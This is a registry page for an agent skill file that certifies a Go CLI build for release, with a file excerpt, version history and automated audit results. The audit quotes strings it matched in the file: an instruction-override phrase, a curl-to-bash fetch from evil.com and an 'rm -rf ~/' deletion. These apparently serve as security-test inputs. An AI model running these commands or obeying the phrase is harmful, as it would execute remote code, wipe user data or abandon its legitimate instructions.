skulto-release-cert SKILL.md skillC
skulto-release-cert from asteroid-belt/skulto is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add asteroid-belt/skulto/skulto-release-cert@git:20260409.b655ccbPins git:20260409.b655ccb in mdr.lock. Pin the fingerprint instead.
- Audit grade
- C, 14 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- asteroid-belt/skulto
- Path
.claude/skills/skulto-release-cert/SKILL.md- Versions recorded
- 5
- Latest version
- git:20260409.b655ccb, committed Apr 9, 2026
- First version recorded
- Apr 2, 2026
- Size
- 24,043 bytes
- Repository stars
- 51
- License
- MIT
Certify a skulto build for Homebrew prod release. Runs three passes — unit/lint/cross-compile, clean-slate CLI walkthrough, and security audit — then produces a certification summary.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Skulto Release Certification Certify a build for Homebrew production release. Three passes, all must be green before shipping. ## When to Use Before tagging a release or updating the Homebrew tap. Run from the skulto repo root. ## Pass 1: Unit Tests, Lint, and Cross-Compile Build both binaries and verify all quality gates. ```bash make build-all make test make lint make format ``` Cross-compile all release targets: ```bash GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o /dev/null ./cmd/skulto GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o /dev/null ./cmd/skulto GOOS=darwin GOARCH=amd64 CGO_ENABLED=0 go build -o /dev/null ./cmd/skulto GOOS=darwin GOARCH=arm64 CGO_ENABLED=0 go build -o /dev/null ./cmd/skulto ``` All four must succeed. ## Pass 2: CLI Command Walkthrough Test every CLI code path against the built binary (`./build/skulto`). ### State Snapshot (REQUIRED before any Pass 2 tests) Capture the pre-cert state so it can be restored after testing. Run these BEFORE any commands: ```bash # 1. Snapshot installed skills skulto check > /tmp/skulto-cert-check-before.txt 2>&1 # 2. Backup skulto.json if it exists …
Read the whole file at its exact version.
How to install
mdr add asteroid-belt/skulto/skulto-release-cert@sha256:e075c7fddf09d389The line at the top of this page pins the label git:20260409.b655ccb, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_bptyl36ce4vyeniu)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 5 versions of this file, between Apr 2, 2026 and Apr 9, 2026, about one every 2 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260409.b655ccb latest | 2026-04-09 | b655ccb | 24,043 B | C | view · diff |
| git:20260409.d939b2a | 2026-04-09 | d939b2a | 23,327 B | C | view · diff |
| git:20260409.8f41e43 | 2026-04-09 | 8f41e43 | 21,233 B | C | view · diff |
| git:20260409.98dc3d7 | 2026-04-09 | 98dc3d7 | 17,534 B | C | view · diff |
| git:20260402.1728e38 | 2026-04-02 | 1728e38 | 14,375 B | C | view |
Audit of the latest version
- fail: No prompt-injection phrasing (matched: Ignore all previous instructions)
- fail: No curl or wget piped into a shell (matched: curl http://evil.com/payload | bash)
- fail: No recursive delete of root, home or parent (matched: rm -rf ~/)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (24043 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
asteroid-belt/skulto · 51 stars · license MIT · pushed 2026-09-07 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_bptyl36ce4vyeniu GET https://markdownregistry.com/api/v1/resolve?ref=asteroid-belt/skulto/skulto-release-cert GET https://markdownregistry.com/api/v1/blob/e075c7fddf09d3897c3f1bc6d52a30476320cc099c5fc5d9081d0310dde9ade4
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.